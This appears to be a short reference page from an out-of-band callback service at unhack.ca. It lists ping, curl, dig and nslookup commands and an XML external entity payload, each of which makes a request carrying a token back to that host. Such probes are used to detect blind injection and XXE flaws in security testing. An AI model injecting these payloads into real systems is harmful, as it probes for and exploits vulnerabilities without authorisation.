$ ping -c1 -p 00318acd7621a5b5c1216906cf2f6f00 unhack.ca
 

$ curl http://unhack.ca/p/318acd7621a5b5c1216906cf2f6f
 

$ dig 318acd7621a5b5c1216906cf2f6f @unhack.ca
 

$ dig 318acd7621a5b5c1216906cf2f6f.ns.unhack.ca
 

C:\> nslookup 318acd7621a5b5c1216906cf2f6f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/318acd7621a5b5c1216906cf2f6f">]>
    <foo>&xxe;</foo>